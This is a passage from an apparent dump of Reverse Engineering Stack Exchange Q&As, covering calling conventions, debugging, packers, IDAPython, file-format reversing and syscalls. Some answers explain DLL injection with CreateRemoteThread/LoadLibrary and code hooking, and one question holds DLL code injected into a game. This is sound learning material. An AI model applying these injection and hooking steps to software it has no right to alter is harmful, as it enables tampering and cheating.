    \n\n

    Example \u2013 a fragment where ECX gets used and thrashed, prior to calling a library function:

    \n\n
    8D4DFC          lea    ecx, [ebp+local_4]\n33D2            xor    edx, edx\n8BC6            mov    eax, esi\n8B18            mov    ebx, [eax]\nFF5350          call   [ebx+50h]  <- GetSaveFileName; this uses ECX as a proper argument\nA144831041      mov    eax, [lpEnginePtr]\nFF702C          push   [eax+2Ch]   <- probably a local path\n6870277355      push   (address)\"/Saved Games/\"\nFF75FC          push   [ebp+local_4]\n8D45F8          lea    eax, [ebp+local_8]\nBA03000000      mov    edx, 3\nE869EAFCFF      call   System.@LStrCatN   <- wot no ECX?\n8B55F8          mov    edx, [ebp+local_8]\nA144831041      mov    eax, [lpEnginePtr]\nE860630600      call   Engine.SaveFile\n...\n
    \n\n

    which I decompile into

    \n\n
    call GetSaveFileName (esi, 0, addressof (local_4))\neax = lpEnginePtr\npush (eax.field_2C)\npush (\"/Saved Games/\")\npush (local_4)\ncall System.@LStrCatN (addressof (local_8), 3)\ncall Engine.SaveFile (lpEnginePtr, local_8)\n
    \n\n

    The routine GetSaveFileName uses, and clobbers, ECX, without saving it:

    \n\n
                    GetSaveFileName:\n53              | push   ebx\n8BD9            mov    ebx, ecx     \nA140A08F55      mov    eax, lpGameSettings\n8B90E4000000    mov    edx, [eax+0E4h]\n8BC3            mov    eax, ebx     \nB944267355      mov    ecx, (address)\".sav\"\nE856EBFCFF      call   System.@LStrCat3 \n\n                5573263Ah:\n5B              | pop    ebx\nC3              | retn\n
    \n\n

    The library function System.@LStrCatN indeed does not read ECX at all:

    \n\n
    System.@LStrCatN:\n    push   ebx\n    push   esi\n    push   edx\n    push   eax         <-- not in the Save List\n    mov    ebx, edx\n    xor    eax, eax\n    mov    ecx, [esp+4*edx+10h]  <-- overwrite ECX!\n    test   ecx, ecx\n    jz     41304AA7h\n\n41304AA4h:\n    add    eax, [ecx-4]\n\n41304AA7h:\n    dec    edx\n    jnz    41304A9Ch\n\n41304AAAh:\n    call   System.@NewAnsiString\n    ...\n
    \n\n

    Other routines that overwrite ECX (write without read) do save ECX in the prolog.

    \n\n
    \n\n

    This has been mentioned earlier in Which calling convention to use for EAX/EDX in IDA, but according to the comments that one was a misunderstanding and ECX was used after all.

    \n", "Title": "Register Calling Convention: written in stone, or in mud?", "Tags": "|calling-conventions|delphi|register|", "Answer": "

    If the compiler can prove that it has all call sites for a given function under its control then it can discard conventions and arrange things around to its liking. Microsoft's C/C++ compiler has been doing this for decades in connection with link-time code generation and profile-guided optimisation, especially internal copies of the compiler like the one used to compile the Visual FoxPro executables. This causes no end of additional fun when analysing such executables with IDA, since all pre-programmed conventions basically go out of the window.

    \n\n

    That applies only in 32-bit mode, though. In 64-bit mode Windows mandates adherence to its ABI for all non-leaf functions (including the registering of the call frame layout in meta data) to ensure full stack frame traceability. This means that the compiler doesn't have a lot of leeway here...

    \n\n

    Given the way Delphi works it is conceivable that the compiler might make similar adjustments with regard to parameter passing for functions that are local to the implementation section of a unit or nested functions, provided that the address of the function is never taken and passed outside.

    \n\n

    The comment conversation with Rad Lexus elicited another important aspect: system functions do not necessarily play by the same rules as 'ordinary' functions, especially those functions that are intended to be called implicitly by compiler-generated code instead of being invoked explicitly by user code. The compiler may have extended information on these system functions, like clobbered registers, unusual parameter locations, 'nothrow', 'noreturn' and so on. This extended information could be in System unit meta data or hardcoded directly into the compiler.

    \n\n

    @LStrCatN is a special since it is a vararg function with callee cleanup (which is very unusual). It needs special treatment by the compiler in any case because the compiler must pass the actual number of pointers on the stack as a parameter to the function.

    \n" }, { "Id": "14268", "CreationDate": "2016-12-28T21:04:38.047", "Body": "

    I am trying to reverse a PE executable (challenge tutorial). I am putting a breakpoint on the first instruction of the program, at the entry point. There is nothing executed before.

    \n\n

    I get a software breakpoint exception when I run the program. I think this is a debugger detection system. But I do not know where is the code that throws this exception, because I have not reach my program entry point.

    \n\n

    The exception throws from ntdll.dll I want to understand how can code from ntdll.dll can be executed BEFORE the entry point of my binary

    \n\n

    Thanks

    \n", "Title": "IDA Strange exception before code is executed", "Tags": "|ida|pe|", "Answer": "

    no offense intended but this question demonstrates some basic lack of understanding of how windows loads user-mode processes, how how user-mode code and executables are built.

    \n\n

    I'll list a few missing pieces:

    \n\n
      \n
    1. As Igor mentioned, TLS callbacks are often called before the entry point is executed and are used to setup tasks before any code is executed (global object constructors is one example). TLS callbacks are occasionally used by the compiler for certain tasks as well as in a set of anti-debugging techniques.
      2. \n
    2. When a usermode process starts, its first executed instruction is NOT the executable's entry point. There's a decent amount of loader code executed in the context of the created process (initializing the default heap, setting up parts of the TEB and PEB, etc).
      3. \n
    3. Normally, an executable's entry point is not your int main(int argc, char* argv[]). The compiler has a wrapper function that is where the PE's entrypoint points to, and main is only called by it.
      4. \n
    \n\n

    I would suggest you read the Peering Inside the PE, as it describes those processes really in-depth.

    \n" }, { "Id": "14286", "CreationDate": "2016-12-30T03:09:18.070", "Body": "

    Example:

    \n\n

    I have a function in a process on the memory address: 0xABCDEF, but that function cannot be called outside of original thread, it's possible to call it or hook it somehow?

    \n\n

    To what i'm going it's C++ on DLL injection...

    \n\n

    I thought it was possible using CreateRemoteThread, but i don't know if it is necessary to pass the id of the thread.

    \n", "Title": "It's possible call a function outside a original thread?", "Tags": "|c++|function-hooking|dll-injection|", "Answer": "

    CreateRemoteThread() is used to create a new thread inside the remote process. The function will return the ID of the newly created thread. This can be used to load your DLL into the remote process, by passing the address of LoadLibrary() as the thread start address (note that you would need to VirtualAllocEx() and WriteProcessMemory() to place the filename in the remote process first).

    \n\n

    Once your DLL is loaded, you would need to hook the function of interest (via VirtualProtect(MEM_WRITABLE)/memcpy()/VirtualProtect(original protection)), since you can't inject directly into a thread. You can only modify the code that the thread is running, and then receive control indirectly.

    \n\n

    Note that for safety, you would need to SuspendThread() the thread of interest before you make changes to its code, unless the function that you wish to alter is hot-patchable. In the case of a hot-patchable function, you would write the long jump at address function-5, and then write the short jump at the function start. The write of the short jump is an atomic operation so there is no risk of misaligned execution.

    \n" }, { "Id": "14288", "CreationDate": "2016-12-30T12:03:40.697", "Body": "

    I don't know whether this is the right place for this question or this question is too basic.

    \n\n

    I was reading Antivirus Hacker's Handbook, where they talked a bit about software packers, protectors, and executable compression. I googled a lot about those topics and found some sites but I was not able to get any kind of basic understanding of what the keywords Software Packer, Software Protector and Executable Compression are and why they're a thing.

    \n\n

    Can someone please explain what executable compression and packing are and why they exist on the most basic level?

    \n", "Title": "What is Executable Compression?", "Tags": "|decompress|packers|malware|", "Answer": "

    Executable compression (AKA executable packing) is the idea that an PE, ELF and MACHO file formats were not fully designed to be compact for obvious reasons.\nIn the past, when memory was scarce, making executable files smaller in size was often a goal either mandatory of preferable.

    \n\n

    For that reason, tools were created to keep an executable functional while making it smaller in size. For that, different compression algorithms were employed on code and data parts of executables, and a small decompression code stub was added to reverse the process during the executable's runtime.

    \n\n

    The basic idea is that you take a given executable and compress it's entire code and data sections (which are often most of the file). You would then include the compressed output as part of a new executable and include in that new executable a subroutine that does the opposite - decompresses the compressed data back into it's original (bigger) form, and then execute the original uncompressed entry point as if the code was never compressed.

    \n\n

    As the need for compact executables faded when storage memory became cheaper an interesting property of compressed executables was discovered: a compressed executable's code is harder to read without prior decompression.\nDevelopers and coders started using compression to hide code they wanted to hide from third parties. Packing became a way to avoid or complicate reverse engineering processes and packers shifted focus from compression to obfuscation, encryption and anti-reverse-enginerring tools.

    \n" }, { "Id": "14293", "CreationDate": "2016-12-30T19:04:13.033", "Body": "

    For the source generated by Hex Ray's decompiler in IDA, is it possible to highlight matching braces once I place the pointer at the beginning of a block?

    \n\n

    As an example, in the screenshot below, the if block begins at line# 263 and ends at line# 269. What I want is, if I place the cursor at line# 263, IDA should highlight the block end at line# 269. Is such a feature available? Many code editors provides similar feature to make code browsing easier for larger blocks of code.

    \n\n

    \"enter

    \n", "Title": "How to find matching braces in IDA's decompiled code?", "Tags": "|ida|hexrays|", "Answer": "

    There is no way to do this by default. Checkout the Hexlight plugin by Milan Bohacek. It will highlight the line with the matching brace.

    \n\n

    Example from Hex-Rays site:\n\"enter

    \n" }, { "Id": "14301", "CreationDate": "2017-01-01T03:35:53.913", "Body": "

    I've been trying to make some modding tools for quake live by reverse engineering, and I have this function. I rebased my program to 0x0, and did pretty much everything to set me up. However, when I call virtualprotect it doesn't work. I still get access violations when I inject the DLL. All helps appreciated!

    \n\n

    \"comprintf\"

    \n\n

    Above, I have the address for the value. Heres how I'm calling virtualprotect:

    \n\n
    typedef void(__cdecl* Com_printf)(const char* msg, ...);\n\nnamespace QLIVESDK \n{\n    void Com_Printf(const char* a1, ...)\n    {\n        DWORD old;\n        VirtualProtect((PVOID)(GetModuleHandle(\"quakelive_steam.exe\") + 0x000C9860), sizeof(a1), PAGE_EXECUTE_READWRITE, &old);\n        Com_printf com_print = (Com_printf)0x000C9860;\n        return com_print(a1);\n    }\n}\n
    \n\n

    https://github.com/id-Software/Quake-III-Arena/blob/dbe4ddb10315479fc00086f08e25d968b4b43c49/code/qcommon/common.c#L143\nHeres the function I'm trying to reverse. And heres how I'm calling it:

    \n\n
    void Init()\n{\n    QLIVESDK::Com_Printf(\"hello, world!\\n\"); //test this shit\n}\n\nBOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)\n{\n    switch (fdwReason)\n    {\n    case DLL_PROCESS_ATTACH:\n        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Init, 0, 0, 0);\n        break;\n    }\n    return 1;\n}\n
    \n\n

    As you can see, its not working. I still get access violations. Thanks! All helps appreciated! :)

    \n", "Title": "VirtualProtect a function isn't working.", "Tags": "|c++|", "Answer": "

    Thanks to @Fewmitz I managed to fix the problem.

    \n\n

    Turns out com_print should = (Com_Printf)GetModuleHandle(\"quakelive_steam.exe\") + 0x000C9860;

    \n\n

    Thanks so much!

    \n" }, { "Id": "14306", "CreationDate": "2017-01-02T13:13:32.603", "Body": "

    uhm, I had made a Graphing Calculator program in Python but I wanted to use it in a smartphone so I was wondering is there any way i can reprogram a smartphone, it doesn't matter how hard it will be but is it possible ? Also I don't want to develop apps because I want the phone to run the Calculator only.

    \n", "Title": "Is it possible to reprogram an android smart phone?", "Tags": "|firmware|", "Answer": "

    With SL4A you can run python-code on your android smartphone, but you must change your code because normal tkinter things don't work.

    \n\n

    If you really want to break your phone you can install linux.\nSearch for linux installer within the play store.

    \n" }, { "Id": "14315", "CreationDate": "2017-01-03T07:09:25.263", "Body": "

    I'm working on a project that needs to be a stand-alone executable but run another executable whenever it is started.

    \n\n

    Unfortunately I don't have access to the source code of the second program to embed it in my own code, so I was thinking about some dirty workaround like below in assembly:

    \n\n

    \"enter

    \n\n

    This means to join the binary of two files and use jmp to control the program flow. I've tried ollydbg but could not open x64 executables. Is there another way to achieve this?

    \n\n

    Thanks in advance

    \n", "Title": "How to bind two EXE files?", "Tags": "|disassembly|executable|patching|reassembly|", "Answer": "

    To debug 64 bit Windows executables you can use x64dbg. It also has the same patching functionalities ollydbg has. You will also need to resolve imports manually (or adjust the second executable's code to use the PE import table) and relocations.

    \n\n

    However, there might be easier ways to do that by extracting the executable and ruining it. An automated way to do that is using WinRar SFX (self extracting) executable. This let's you create an executable that when starts will extract multiple files into a temporary directory and will run one of the extracted files. You can also implement something similar yourself by dropping an executable and running it.

    \n" }, { "Id": "14317", "CreationDate": "2017-01-04T07:33:37.440", "Body": "

    I'm currently learning IDA Pro, that is set up with the WinDbg debugger. So, say, I triggered a breakpoint and began stepping in and out of functions. I prefer to work in the \"Graph view\" mode:

    \n\n

    \"IDA

    \n\n

    What is the easiest way to see the module name that I'm currently debugging? Or where the EIP or RIP registers points to. In the screenshot above, address of 0x759B86B0.

    \n", "Title": "How to know which module am I currently in? (EIP/RIP pointer)", "Tags": "|ida|windows|debugging|windbg|", "Answer": "
      \n
    1. The top right window, the registers window, shows where each register points to and includes the module name of there is one. EIP is not shown in the picture but if you'll scroll down or resize it you'll see it.
      2. \n
    2. The stack shows an address in the same offset as the current EIP points to somewhere in user32, so that's probably it. ebx also points to the same module.
      3. \n
    3. The IDB segment is named correctly, so you can always open the segments view and see which segment contains the current EIP. Additionally, viewing the address (by switching to the Text View or configuring the graph view to show addresses from Options->Graph view) will have the module name before the address.
      4. \n
    \n" }, { "Id": "14320", "CreationDate": "2017-01-04T12:41:05.200", "Body": "

    what is the theory behind the subject of translate assembly code to pseudo code?

    \n\n

    Could you explain few words ? Also some book about it?

    \n", "Title": "How decompilation works?", "Tags": "|disassembly|x86|decompilation|c++|", "Answer": "

    A thorough but dated theoretical treatment of decompilation can be found in Cristina Cifuentes' 1994 PhD thesis \"Reverse Compilation Techniques\". The subject matter therein, which includes discussion of syntax analysis, semantic analysis, control flow analysis, data flow analysis, and code generation, will be difficult to understand without being familiar with compiler or programming language theory beforehand, as decompilation is the reverse process of compilation.

    \n\n

    A shorter treatment of decompilation by the same author is given in a paper called \"Decompilation of Binary Programs\".

    \n\n

    If you are looking for something more contemporary you may wish to investigate techniques employed by CMU's Phoenix decompiler as well as the answers to this question.

    \n" }, { "Id": "14333", "CreationDate": "2017-01-05T08:20:49.017", "Body": "

    which windows API called when execute this command

    \n\n
    \n

    wmic qfe get hotfixid

    \n
    \n\n

    command?

    \n", "Title": "which windows API called when execute wmic qfe get hotfixid command?", "Tags": "|windows|debugging|c++|c|api|", "Answer": "

    A lot of APIs are called in this case. wmic is an executable. If you're asking because you want to replace such a command the updates installed on the machine are listed under Software\\Microsoft\\Windows\\CurrentVersion\\Component Based servicing\\Packages. WMI has its own datastores which are probably less useful to you.

    \n" }, { "Id": "14353", "CreationDate": "2017-01-09T21:16:10.843", "Body": "

    I wrote a simple IDAPython script that only prints out local functions and ignores library functions. But somehow, it prints every single function. Here is the script:

    \n\n
    import idc, idautils\nfor func in idautils.Functions():\n    flags = idc.GetFunctionFlags(func)\n    # Ignore library functons\n    if flags & FUNC_LIB:\n        continue\n    print idc.GetFunctionName(func)\n
    \n\n

    I based my script from the second code snippet in this tutorial (http://researchcenter.paloaltonetworks.com/2016/06/unit42-using-idapython-to-make-your-life-easier-part-6/).

    \n", "Title": "IDAPython can't ignore library functions", "Tags": "|ida|idapython|", "Answer": "

    This is a confusion of terminology. In IDA-speak, \"library function\" means \"a function from a (compiler) standard library\", i.e. a function recognised by a FLIRT signature (usually colored in cyan). These are encountered in practice mostly in statically-linked Windows executables. On Linux and OS X the standard functions usually come from shared libraries so you will need another way to distinguish them - e.g. what what was suggested in the comments.

    \n" }, { "Id": "14359", "CreationDate": "2017-01-10T00:39:12.300", "Body": "

    I am working on editing an old DOS program's assembly, but I'm running into some odd issues.

    \n\n

    I'm using IDA Pro 6.4 and a hex editor to patch. I'm code-caving the new data by removing old stuff never used.

    \n\n

    Just changing the assembly code does nothing, in the sense that it just exits, no errors or nothing. The code properly disassembles and looks right, but it doesn't do anything. The code is 100% right as I'm basing it off another application. There is no protection as I explain below, other changes work. However anything that involves \"call\" or variables other than what was originally used...don't work.

    \n\n

    Here is an example of what I'm doing:

    \n\n

    Code presently reads a ISA card for some data. I am making it fread a file instead.

    \n\n
    \n\n

    The program is compiled using Watcom 9.5 and uses Causeway extender. It uses fastcall not stdcall.

    \n\n

    I'm starting to pull my hair out because I need to rework the logic so it does some other stuff (write to file for example).

    \n\n

    It's odd because simple changes to the logic work as I've made many other micro changes (jnz to jz for example).

    \n\n

    Any advise? Is there something in the file I'm missing? If you need more info, let me know.

    \n\n

    Here is an example of a change I've tried to make (this is the NEW code):

    \n\n
    push    ebx\npush    ecx\npush    edx\npush    esi\npush    edi\npush    ebp\nmov     ebp, esp\nsub     esp, 4\nmov eax, offset pathname\npush eax\ncall printf_\npop     ebp\npop     edi\npop     esi\npop     edx\npop     ecx\npop     ebx\n
    \n", "Title": "Issues rewriting portions of DOS app's assembly", "Tags": "|disassembly|assembly|dos|dos-exe|", "Answer": "

    In the end, the issue was due to the fixup tables. I wrote custom code to read the LE structure and thanks to some documents, figured out what offsets were being fixed up.

    \n\n

    Please note, you need to parse the Fixup Page table and then loop through checking positions. Then read the record data.

    \n" }, { "Id": "14363", "CreationDate": "2017-01-11T12:57:02.963", "Body": "

    I cannot load the following executable type in OllyDbg:\n- ELF 32-bit LSB executable, Intel 80386

    \n\n

    Why can OllyDbg not handle this kind of executables? What are good (OllyDbg-like) debuggers to debug ELF?

    \n", "Title": "Debug ELF executable", "Tags": "|debugging|elf|", "Answer": "

    Ollydbg debugger is for Microsoft Windows executables and DLLs. For debugging ELF I use GDB debugger. GDB can come with a GUI and you can find more about that in this answer . Besides GDB, for reversing ELF files on Linux I would also suggest radare2.

    \n" }, { "Id": "14366", "CreationDate": "2017-01-11T16:41:02.830", "Body": "

    This assembly is for Intel x86-64 bit, seems to be too baffling to me.

    \n\n

    \"enter

    \n\n\n\n

    For curious ones, the binary is here.

    \n", "Title": "What exactly is this piece of assembly code doing?", "Tags": "|assembly|x86|elf|call|", "Answer": "
    \n

    How come the jz instruction jump to a non-instruction (0x400AC9)?

    \n
    \n\n

    It does not. There is no such thing as \"an instruction\". Jumps do not jump to instructions, they jump to addresses.

    \n\n
    \n

    How come the call invokes a non-existing address?

    \n
    \n\n

    It does not. If you check what the code actually does, you will find this call will never be executed.

    \n\n
    \n\n

    Here is the relevant part of your code, prefixed with their original hex bytes.

    \n\n
    400AC7: \u00a066 b8 eb 05 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 mov \u00a0 \u00a0ax,0x5eb\n400ACB: \u00a031 c0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 xor \u00a0 \u00a0eax,eax\n400ACD: \u00a074 fa \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 jz \u00a0 \u00a0 0x400AC9\n400ACF: \u00a0e8 0f b6 45 b0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0call \u00a0 0xffffffffb045b61c\n400AD4: \u00a03c 38 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 cmp \u00a0 \u00a0al,0x38\n400AD6: \u00a00f \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0.byte 0xf\n400AD7:  85 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0.byte 0x85\n400AD8:  bc \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0.byte 0xbc\n
    \n\n

    If you assume the instruction at 400AC7 executes, it loads ax with some value but it gets immediately discarded by the next instruction, which clears it to 0. Because of that, the jump will always be taken!

    \n\n

    The jump goes to 400AC9, and if we disassemble starting at that, we get some other code:

    \n\n
    400AC9: \u00a0eb 05 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 jmp \u00a0 \u00a00x400AD0\n400ACB: \u00a031 c0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 xor \u00a0 \u00a0eax,eax\n400ACD: \u00a074 fa \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 je \u00a0 \u00a0 0x0\n400ACF: \u00a0e8 0f b6 45 b0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0call \u00a0 0xffffffffb045b61a\n400AD4: \u00a03c 38 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 cmp \u00a0 \u00a0al,0x38\n400AD6: \u00a00f \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0.byte 0xf\n
    \n\n

    and it looks like you did not get any further, because there are still weird calls and undefined codes. However, look at the first instruction! It jumps again into the middle of something what appears to be an instruction at this point \u2013 but if you start disassembling there, you will see that everything from that address on is perfectly ordinary code.*

    \n\n

    * Since this is a \"crackme\" and you already failed the first of its tests, I will not spoil the rest of it.

    \n" }, { "Id": "14370", "CreationDate": "2017-01-11T20:30:20.257", "Body": "

    So I'm reading about antidebug and anti-reverse engineering techniques, but these cover, in all the docs I've seen, just executables.

    \n\n

    Are there any resources that target specifically shared and static libraries?

    \n\n

    If not, are the techniques for executables mainly applicable for static/dynamic libraries?

    \n\n

    Thanks!

    \n", "Title": "Antidebug/reverse engineering targeted for libraries", "Tags": "|debugging|binary-analysis|c|anti-debugging|libraries|", "Answer": "

    To the best of my knowledge theoretically most obfuscation techniques are also applicable to libraries, but there are considerable downsides: Slowdown and increased support-difficulties. Please note if a program does something, there is always a way to find out how it archived it when you control the execution environment.

    \n\n

    I'd advise you to keep any business logic you want to protect out of libraries by keeping the libraries generic. If your business model concerns the distribution of logic you want to keep a secret - its a pretty bad situation.

    \n\n

    If you really want to offer some confidential functionality and performance is not an issue, think about offering it on the server side.

    \n" }, { "Id": "14377", "CreationDate": "2017-01-12T11:26:43.593", "Body": "

    I am learning assembly and injections at the moment. Therefore I wrote a little program which simply prints out a hardcoded string. If I attach ollydbg to that I can inspect the executable I recognized that the offset in \"PUSH OFFSET 00ABC154\", which is my string I want to print, changes sometimes when I run the application multiple times.

    \n\n

    Is it because my string stands in the data segment and the data segment isn't located every time at the same offset from the data segment? Or why does my offset change?

    \n", "Title": "Change of offset in instruction?", "Tags": "|disassembly|assembly|x86|", "Answer": "

    It is due to ASLR like Sigtran said. As for your following question, it is the function's PLT that remains the same every time (I'm assuming you are talking about library function such as printf). The actual function address is resolved dynamically during the function's first invocation. The reason that the printf function's PLT remains the same is because it is in the text segment and the text segment is not randomized by ASLR.

    \n\n

    P.S. I would have added this as comment to your question, but I don't have enough reputation :(

    \n" }, { "Id": "14380", "CreationDate": "2017-01-12T15:57:17.183", "Body": "

    I'm interesteing, why someone not reverse engineer old windows 3.1?

    \n\n

    In theory, win 3.1 have no kernel(because kernel is dos), it's simply window manager(such as x window on unix), so why i can't reverse engineer it's and modify?

    \n", "Title": "Is reverse engineering possible for old windows kernels?", "Tags": "|windows|kernel|", "Answer": "

    There is a really good book which does exactly that:

    \n\n

    \"Windows Internals: The Implementation of the Windows Operating Environment\" by Matt Pietrek.

    \n\n

    It's full of disassembly listings from the Windows 3.x kernel and other parts.

    \n" }, { "Id": "14382", "CreationDate": "2017-01-12T20:14:50.517", "Body": "

    Is it possible to reverse engineer a binary file with no extension?

    \n\n

    For example this file:

    \n\n

    https://github.com/commaai/openpilot/tree/master/selfdrive/visiond

    \n\n

    I have tried radare2 but it throws out the following error, so I am assuming it's a ARM binary:

    \n\n

    unimplemented elf reloc_convert for arm

    \n", "Title": "Reverse Engineering a binary file with no extension", "Tags": "|radare2|", "Answer": "

    I can open that file in R2 with out any errors. Make sure you have the latest (from git) version of radare2, and then try again

    \n" }, { "Id": "14387", "CreationDate": "2017-01-13T07:05:38.313", "Body": "

    I am trying to understand how to read iOS notes files as they are saved in the NoteStore.sqlite database in the iOS backup.

    \n\n

    Here are some sample files. Each file is a different note. \nI want to get only the text out of it but can't figure out how.

    \n\n

    I already understand that the textual part of the note is seperate from other parts (like links, pictures etc.) Can't find the length field so I can get the textual part.

    \n\n

    When the note is shorter than 256 characters the 14th byte is the length.\nBut when it's longer, I can't figure it out.

    \n\n

    Can anyone reverse this?

    \n", "Title": "reversing ios notes file format", "Tags": "|file-format|ios|protocol|", "Answer": "

    You are right about the 14th byte being the length on (some) short notes, like your file 4:

    \n\n
    00000000  08 00 12 d6 02 08 00 10 00 1a cf 02 12 1b 54 68   ..............Th\n00000010  69 73 20 6e 6f 74 65 20 69 73 20 74 68 65 20 66   is note is the f\n00000020  69 72 73 74 20 6f 6e 65 20 1a 10 0a 04 08 00 10   irst one .......\n00000030  00 10 00 1a 04 08 00 10 00 28 01 1a 10 0a 04 08   .........(......\n
    \n\n

    However, this is not always the case; in your file 9, which is even shorter, the length, at first glance, is at position 26, with the text after that:

    \n\n
    00000000  08 00 12 81 01 08 00 10 00 1a 7b 12 17 d7 90 d7   ..........{.....\n00000010  91 d7 90 0a d7 92 d7 93 d7 94 0a 31 32 33 34 35   ...........12345\n00000020  36 37 38 39 1a 10 0a 04 08 00 10 00 10 00 1a 04   6789............\n
    \n\n

    and observing closely, you can see that in longer files, the text starts one byte behind that:

    \n\n
    00000000  08 00 12 c5 07 08 00 10 00 1a be 07 12 ac 02 49   ...............I\n00000010  6e 67 72 65 64 69 65 6e 74 73 20 0a 0a 32 20 63   ngredients ..2 c\n
    \n\n

    The reason for this is that the length is coded in a special format: if the byte has its low order bit clear, then the byte is the length itself. If the high order bit is set, take only the low 7 bits, and prepend the next byte before that. For example, ac 02:

    \n\n
    1010 1100 0000 0011       => remove 1st bit from 1st byte and prepend 2nd byte\n0000 0011 010 1100        => fill a 0 bit from the left and write in standard nibble notation\n0000 0001 1010 1100       => this is 1AC hex, or 428 bytes, which is the length of the note\n
    \n\n

    It seems that the length of the file (minus some header) is encoded in the same way starting at position 11. This explains why file 9 is different: it's the only one short enough to have a length < 0x80 (0x7b), so it needs only one byte here, so everything else is shifted left one byte.

    \n\n

    And actually, I guess that the \"first glance\" was wrong; the real length of note 9 is 23 (hex 17), and it consists of 2 lines of 3 unicode characters each (utf-8? This translates those bytes to hebrew characters, or maybe integers in the same encoding as above, yielding unicode code points), ended with a newline, and it's an unfortunate coincidence that the 0a newline looks like the length byte for the numbers.

    \n\n

    So, to extract the text, seek to position 11, read a number which can be 1 or 2 bytes according to above, skip one byte which should be 12, read the length of 1 or 2 bytes, then read the text. Actually, i suspect that bytes 4 and 5 are some integer as well; so maybe you should start with byte 4 and adjust the offsets depending on whether it has bit 8 set or not.

    \n" }, { "Id": "14399", "CreationDate": "2017-01-13T17:03:30.820", "Body": "

    \"enter

    \n\n

    There is a large continuous, memory region as shown above in IDA disassembly which has got the same address for every possible address. Is the disassembly incorrect? How do I interpret one single row?

    \n\n

    DCB \"0000000000000000 l df *ABS*\",9,\"0000000000000000 gic.c\",0xA

    \n\n

    The row above doesn't seem to be continuous data even. How are the columns (space/tab and comma separated) significant? I can locate the following column values:

    \n\n\n", "Title": "How come such large a data region has got the same address in IDA?", "Tags": "|ida|disassembly|", "Answer": "

    It's just a single (very long) text string. Look at the dcb and double quotes; unprintable characters are included outside the double quotes, in hex.

    \n\n

    Presumably there is a zero-terminator at the very end, which is how IDA Pro identified it as a string: all it contains are printable characters, plus the characters Tab and LF.

    \n\n

    It's broken up at the linefeeds so it is slightly better readable, but that's for display only. If you press the * \"Define array\" key somewhere inside this, you will see it's indeed a single long array of bytes.

    \n\n

    The starting address is only repeated for your convenience. \"The\" address of a larger structure is in general the address of its first byte.

    \n" }, { "Id": "14416", "CreationDate": "2017-01-16T01:05:10.733", "Body": "

    Given an address, e.g. 0x70011DC, is there any IDAPython API that returns the function, e.g. sub_0x7001024 which this address belong to?

    \n", "Title": "Is there any IDAPython API that returns the function which an address belong to?", "Tags": "|ida|idapython|", "Answer": "

    you are looking for GetFunctionName(ea) from idc.

    \n\n

    Here is a link to the API. The idc and idautils functions are preferable, since they are slightly more high-level: API

    \n" }, { "Id": "14425", "CreationDate": "2017-01-16T21:39:27.963", "Body": "

    I have an IDAPython script written for a specific analysis. Also, I am using another in-house tool for the same analysis that, too, exposes Python API. My intention is to augment the script such that when it is run within IDA, it'll run IDA specific methods and when it is run outside IDA, it has to call the method specific to the in-house tool. Does IDAPython provide any special environment variable to detect if a Python script is running inside IDA environment?

    \n", "Title": "Does IDAPython define any special environment variable?", "Tags": "|ida|idapython|", "Answer": "

    I don't think there is directly, but there is a trick I've seen a few times (works with any dependency):

    \n\n
    try:\n    import idc\n    print 'ida'\nexcept Exception as e:\n    print 'no ida'\n
    \n\n

    You may set a special variable instead of the print statements.

    \n\n

    Disclamer:

    \n\n
    \n

    Requires that your systems python and IDAs python are actually separate (the default case)

    \n
    \n" }, { "Id": "14429", "CreationDate": "2017-01-17T20:14:09.997", "Body": "

    Is there a way to write my own syscall/int 0x80 without using them?\nSo, normally it goes like

    \n\n
    setup registers\n...\nsyscall or int 0x80\n
    \n\n

    and I am interested in doing this without syscall/int 0x80

    \n\n
    setup registers\ncall mysyscall\n
    \n\n

    where can I find implementation of syscall or int 0x80? Or is it too low level to implement it in asm?

    \n", "Title": "Writing own custome syscall/int 0x80 on x64 system", "Tags": "|assembly|linux|x86-64|", "Answer": "

    TL;DR: These are two instructions supported by the CPU, you cannot implement them in assembly, as they are (or aren't) part of the assembly language you're using.

    \n\n

    Some more background:

    \n\n

    An interrupt (the assembly int instruction is causing a software interrupt) is a special event for the CPU. The CPU immediately (This is slightly inaccurate as advanced performance optimizations and low-level features are ignored for the sake of simplicity) stops executing the instruction sequence it was executing, saves the context of the current execution (such as the EIP and other control registers, most not directly accessible to the user), and switches to a specifically designated code sequence that is in charge of handling that specific interrupt.

    \n\n

    Examples of hardware interrupts are related to handling power, hard-disk network and other peripherals, as well as when a program fails accessing a memory region, fails with certain calculations (divide by zero), floating point errors, tries executing a privileged or an invalid instruction and many others.

    \n\n

    Additionally, a program can intentionally trigger an interrupt by using the int instruction which receives a single operand - the interrupt id to trigger.

    \n\n

    When an interrupt happens, the resumes execution at the address pointed by the interrupt index in the Interrupt Descriptor Table (aka Interrupt Vector Table), in the case of int 0x80, that's the address at offset 0x80, obviously.

    \n\n

